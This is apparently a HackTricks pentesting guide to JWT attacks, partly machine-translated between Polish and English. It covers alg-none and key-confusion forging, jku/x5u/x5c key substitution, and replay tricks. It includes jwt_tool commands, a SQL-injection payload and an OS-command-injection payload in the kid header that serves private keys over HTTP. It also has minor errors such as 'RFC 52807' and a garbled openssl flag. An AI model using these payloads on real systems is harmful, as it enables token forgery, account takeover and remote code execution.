# JWT Vulnerabilities (Json Web Tokens) {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_). {% embed url="https://www.stmcyber.com/careers" %} **Part of this post is based in the awesome post:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\ **Author of the great tool to pentest JWTs** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool) ### **Quick Wins** Run [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) with mode `All Tests!` and wait for green lines ```bash python3 jwt_tool.py -M at \ -t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \ -rh "Authorization: Bearer eyJhbG..." ``` Jeśli masz szczęście, narzędzie znajdzie przypadek, w którym aplikacja webowa nieprawidłowo sprawdza JWT: ![](<../.gitbook/assets/image (935).png>) Następnie możesz wyszukać żądanie w swoim proxy lub zrzucić używany JWT dla tego żądania za pomocą jwt\_ tool: ```bash python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291" ``` Możesz również użyć [**Burp Extension SignSaboteur**](https://github.com/d0ge/sign-saboteur) do przeprowadzania ataków JWT z Burp. ### Modyfikacja danych bez zmiany czegokolwiek Możesz po prostu zmodyfikować dane, pozostawiając podpis bez zmian, i sprawdzić, czy serwer weryfikuje podpis. Spróbuj zmienić swoją nazwę użytkownika na "admin", na przykład. #### **Czy token jest weryfikowany?** Aby sprawdzić, czy podpis JWT jest weryfikowany: * Komunikat o błędzie sugeruje trwającą weryfikację; wrażliwe szczegóły w szczegółowych błędach powinny być przeglądane. * Zmiana w zwróconej stronie również wskazuje na weryfikację. * Brak zmiany sugeruje brak weryfikacji; to jest moment, aby eksperymentować z modyfikowaniem roszczeń ładunku. ### Pochodzenie Ważne jest, aby ustalić, czy token został wygenerowany po stronie serwera, czy po stronie klienta, badając historię żądań proxy. * Tokeny po raz pierwszy widziane po stronie klienta sugerują, że klucz może być narażony na kod po stronie klienta, co wymaga dalszego zbadania. * Tokeny pochodzące z serwera wskazują na bezpieczny proces. ### Czas trwania Sprawdź, czy token trwa dłużej niż 24 godziny... może nigdy nie wygasa. Jeśli istnieje pole "exp", sprawdź, czy serwer poprawnie je obsługuje. ### Atak brute-force na tajny klucz HMAC [**Zobacz tę stronę.**](../generic-methodologies-and-resources/brute-force.md#jwt) ### Zmień algorytm na None Ustaw używany algorytm na "None" i usuń część podpisu. Użyj rozszerzenia Burp o nazwie "JSON Web Token", aby spróbować tej podatności i zmienić różne wartości wewnątrz JWT (wyślij żądanie do Repeater, a w zakładce "JSON Web Token" możesz zmodyfikować wartości tokena. Możesz również wybrać, aby ustawić wartość pola "Alg" na "None"). ### Zmień algorytm RS256 (asymetryczny) na HS256 (symetryczny) (CVE-2016-5431/CVE-2016-10555) Algorytm HS256 używa tajnego klucza do podpisywania i weryfikacji każdej wiadomości.\ Algorytm RS256 używa klucza prywatnego do podpisywania wiadomości i używa klucza publicznego do uwierzytelniania. Jeśli zmienisz algorytm z RS256 na HS256, kod zaplecza używa klucza publicznego jako tajnego klucza, a następnie używa algorytmu HS256 do weryfikacji podpisu. Następnie, używając klucza publicznego i zmieniając RS256 na HS256, moglibyśmy stworzyć ważny podpis. Możesz pobrać certyfikat serwera WWW, wykonując to: ```bash openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well. openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem ``` ### Nowy klucz publiczny w nagłówku Atakujący osadza nowy klucz w nagłówku tokena, a serwer używa tego nowego klucza do weryfikacji podpisu (CVE-2018-0114). Można to zrobić za pomocą rozszerzenia "JSON Web Tokens" w Burp.\ (Wyślij żądanie do Repeater, w zakładce JSON Web Token wybierz "CVE-2018-0114" i wyślij żądanie). ### Oszustwo JWKS Instrukcje szczegółowo opisują metodę oceny bezpieczeństwa tokenów JWT, szczególnie tych, które wykorzystują roszczenie nagłówka "jku". To roszczenie powinno prowadzić do pliku JWKS (JSON Web Key Set), który zawiera klucz publiczny niezbędny do weryfikacji tokena. * **Ocena tokenów z nagłówkiem "jku"**: * Zweryfikuj URL roszczenia "jku", aby upewnić się, że prowadzi do odpowiedniego pliku JWKS. * Zmodyfikuj wartość "jku" tokena, aby skierować ją do kontrolowanej usługi internetowej, co umożliwi obserwację ruchu. * **Monitorowanie interakcji HTTP**: * Obserwowanie żądań HTTP do określonego URL wskazuje na próby serwera pobrania kluczy z podanego linku. * Podczas korzystania z `jwt_tool` w tym procesie, ważne jest, aby zaktualizować plik `jwtconf.ini` o lokalizację swojego JWKS, aby ułatwić testowanie. * **Polecenie dla `jwt_tool`**: * Wykonaj następujące polecenie, aby zasymulować scenariusz z `jwt_tool`: ```bash python3 jwt_tool.py JWT_HERE -X s ``` ### Przegląd problemów z Kid Opcjonalne roszczenie nagłówka znane jako `kid` jest wykorzystywane do identyfikacji konkretnego klucza, co staje się szczególnie istotne w środowiskach, w których istnieje wiele kluczy do weryfikacji podpisu tokena. To roszczenie pomaga w wyborze odpowiedniego klucza do weryfikacji podpisu tokena. #### Ujawnianie klucza przez "kid" Gdy roszczenie `kid` jest obecne w nagłówku, zaleca się przeszukać katalog internetowy w poszukiwaniu odpowiadającego pliku lub jego wariantów. Na przykład, jeśli określono `"kid":"key/12345"`, należy przeszukać pliki _/key/12345_ i _/key/12345.pem_ w katalogu głównym serwisu. #### Przechodzenie po ścieżkach z "kid" Roszczenie `kid` może być również wykorzystane do nawigacji po systemie plików, co potencjalnie umożliwia wybór dowolnego pliku. Możliwe jest testowanie łączności lub przeprowadzanie ataków Server-Side Request Forgery (SSRF) poprzez zmianę wartości `kid`, aby celować w konkretne pliki lub usługi. Manipulacja JWT w celu zmiany wartości `kid`, zachowując oryginalny podpis, może być osiągnięta za pomocą flagi `-T` w jwt_tool, jak pokazano poniżej: ```bash python3 jwt_tool.py -I -hc kid -hv "../../dev/null" -S hs256 -p "" ``` By targeting files with predictable content, it's possible to forge a valid JWT. For instance, the `/proc/sys/kernel/randomize_va_space` file in Linux systems, known to contain the value **2**, can be used in the `kid` parameter with **2** as the symmetric password for JWT generation. #### SQL Injection via "kid" If the `kid` claim's content is employed to fetch a password from a database, an SQL injection could be facilitated by modifying the `kid` payload. An example payload that uses SQL injection to alter the JWT signing process includes: `non-existent-index' UNION SELECT 'ATTACKER';-- -` This alteration forces the use of a known secret key, `ATTACKER`, for JWT signing. #### OS Injection through "kid" A scenario where the `kid` parameter specifies a file path used within a command execution context could lead to Remote Code Execution (RCE) vulnerabilities. By injecting commands into the `kid` parameter, it's possible to expose private keys. An example payload for achieving RCE and key exposure is: `/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&` ### x5u and jku #### jku jku stands for **JWK Set URL**.\ If the token uses a “**jku**” **Header** claim then **sprawdź podany URL**. This should point to a URL containing the JWKS file that holds the Public Key for verifying the token. Tamper the token to point the jku value to a web service you can monitor traffic for. First you need to create a new certificate with new private & public keys ```bash openssl genrsa -out keypair.pem 2048 openssl rsa -in keypair.pem -pubout -out publickey.crt openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key ``` Następnie możesz użyć na przykład [**jwt.io**](https://jwt.io), aby stworzyć nowy JWT z **utworzonymi kluczami publicznymi i prywatnymi oraz wskazując parametr jku na utworzony certyfikat.** Aby stworzyć ważny certyfikat jku, możesz pobrać oryginalny i zmienić potrzebne parametry. Możesz uzyskać parametry "e" i "n" z certyfikatu publicznego, używając: ```bash from Crypto.PublicKey import RSA fp = open("publickey.crt", "r") key = RSA.importKey(fp.read()) fp.close() print("n:", hex(key.n)) print("e:", hex(key.e)) ``` #### x5u X.509 URL. URI wskazujący na zestaw publicznych certyfikatów X.509 (standard formatu certyfikatu) zakodowanych w formacie PEM. Pierwszy certyfikat w zestawie musi być tym, który został użyty do podpisania tego JWT. Kolejne certyfikaty podpisują każdy poprzedni, tym samym kończąc łańcuch certyfikatów. X.509 jest zdefiniowany w RFC 52807. Transportowe zabezpieczenia są wymagane do przesyłania certyfikatów. Spróbuj **zmienić ten nagłówek na URL pod twoją kontrolą** i sprawdź, czy jakiekolwiek żądanie zostanie odebrane. W takim przypadku **możesz manipulować JWT**. Aby sfałszować nowy token przy użyciu certyfikatu kontrolowanego przez Ciebie, musisz stworzyć certyfikat i wyodrębnić klucze publiczny i prywatny: ```bash openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem ``` Następnie możesz użyć na przykład [**jwt.io**](https://jwt.io) do stworzenia nowego JWT z **utworzonymi kluczami publicznymi i prywatnymi oraz wskazując parametru x5u na certyfikat .crt utworzony.** ![](<../.gitbook/assets/image (956).png>) Możesz również wykorzystać obie te luki **do SSRF**. #### x5c Ten parametr może zawierać **certyfikat w base64**: ![](<../.gitbook/assets/image (1119).png>) Jeśli atakujący **wygeneruje certyfikat samopodpisany** i stworzy fałszywy token używając odpowiadającego klucza prywatnego oraz zastąpi wartość parametru "x5c" nowo wygenerowanym certyfikatem i zmodyfikuje inne parametry, mianowicie n, e i x5t, to zasadniczo fałszywy token zostanie zaakceptowany przez serwer. ```bash openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt openssl x509 -in attacker.crt -text ``` ### Wbudowany Klucz Publiczny (CVE-2018-0114) Jeśli JWT zawiera wbudowany klucz publiczny, jak w poniższym scenariuszu: ![](<../.gitbook/assets/image (624).png>) Używając poniższego skryptu nodejs, możliwe jest wygenerowanie klucza publicznego z tych danych: ```bash const NodeRSA = require('node-rsa'); const fs = require('fs'); n ="​ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8"​; e = "AQAB"; const key = new NodeRSA(); var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public'); console.log(importedKey.exportKey("public")); ``` Możliwe jest wygenerowanie nowego klucza prywatnego/publicznego, osadzenie nowego klucza publicznego wewnątrz tokena i użycie go do wygenerowania nowego podpisu: ```bash openssl genrsa -out keypair.pem 2048 openssl rsa -in keypair.pem -pubout -out publickey.crt openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key ``` Możesz uzyskać "n" i "e" za pomocą tego skryptu nodejs: ```bash const NodeRSA = require('node-rsa'); const fs = require('fs'); keyPair = fs.readFileSync("keypair.pem"); const key = new NodeRSA(keyPair); const publicComponents = key.exportKey('components-public'); console.log('Parameter n: ', publicComponents.n.toString("hex")); console.log('Parameter e: ', publicComponents.e.toString(16)); ``` Finally, using the public and private key and the new "n" and "e" values you can use [jwt.io](https://jwt.io) to forge a new valid JWT with any information. ### ES256: Odkrywanie klucza prywatnego przy użyciu tego samego nonce Jeśli niektóre aplikacje używają ES256 i używają tego samego nonce do generowania dwóch jwt, klucz prywatny może zostać przywrócony. Here is a example: [ECDSA: Odkrywanie klucza prywatnego, jeśli użyto tego samego nonce (z SECP256k1)](https://asecuritysite.com/encryption/ecd5) ### JTI (JWT ID) Zgłoszenie JTI (JWT ID) zapewnia unikalny identyfikator dla tokena JWT. Może być używane do zapobiegania ponownemu odtwarzaniu tokena.\ Jednak wyobraź sobie sytuację, w której maksymalna długość ID wynosi 4 (0001-9999). Żądania 0001 i 10001 będą używać tego samego ID. Jeśli backend zwiększa ID przy każdym żądaniu, można to wykorzystać do **ponownego odtwarzania żądania** (konieczność wysłania 10000 żądań między każdym udanym odtworzeniem). ### Zarejestrowane zgłoszenia JWT {% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %} ### Inne ataki **Ataki Relay między usługami** Zaobserwowano, że niektóre aplikacje internetowe polegają na zaufanej usłudze JWT do generowania i zarządzania swoimi tokenami. Zarejestrowano przypadki, w których token wygenerowany dla jednego klienta przez usługę JWT był akceptowany przez innego klienta tej samej usługi JWT. Jeśli zaobserwuje się wydanie lub odnowienie JWT za pośrednictwem usługi zewnętrznej, należy zbadać możliwość rejestracji konta na innym kliencie tej usługi przy użyciu tej samej nazwy użytkownika/adresu e-mail. Następnie należy spróbować ponownie odtworzyć uzyskany token w żądaniu do celu, aby sprawdzić, czy jest akceptowany. * Krytyczny problem może być wskazywany przez akceptację twojego tokena, co potencjalnie umożliwia podszywanie się pod konto dowolnego użytkownika. Należy jednak zauważyć, że może być wymagana zgoda na szersze testowanie, jeśli rejestracja w aplikacji zewnętrznej jest przeprowadzana, ponieważ może to wprowadzać w obszar szarości prawnej. **Sprawdzanie ważności tokenów** Ważność tokena jest sprawdzana za pomocą zgłoszenia "exp" Payload. Biorąc pod uwagę, że JWT są często używane bez informacji o sesji, wymagana jest ostrożna obsługa. W wielu przypadkach przechwycenie i ponowne odtworzenie tokena innego użytkownika może umożliwić podszywanie się pod tego użytkownika. RFC JWT zaleca łagodzenie ataków ponownego odtwarzania JWT poprzez wykorzystanie zgłoszenia "exp" do ustawienia czasu wygaśnięcia tokena. Ponadto wdrożenie odpowiednich kontroli przez aplikację w celu zapewnienia przetwarzania tej wartości i odrzucania wygasłych tokenów jest kluczowe. Jeśli token zawiera zgłoszenie "exp" i limity czasowe testowania na to pozwalają, zaleca się przechowywanie tokena i ponowne odtwarzanie go po upływie czasu ważności. Zawartość tokena, w tym analiza znaczników czasowych i sprawdzanie ważności (znacznik czasu w UTC), można odczytać za pomocą flagi -R narzędzia jwt_tool. * Może występować ryzyko bezpieczeństwa, jeśli aplikacja nadal weryfikuje token, ponieważ może to sugerować, że token nigdy nie może wygasnąć. ### Narzędzia {% embed url="https://github.com/ticarpi/jwt_tool" %}
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). {% embed url="https://www.stmcyber.com/careers" %} {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}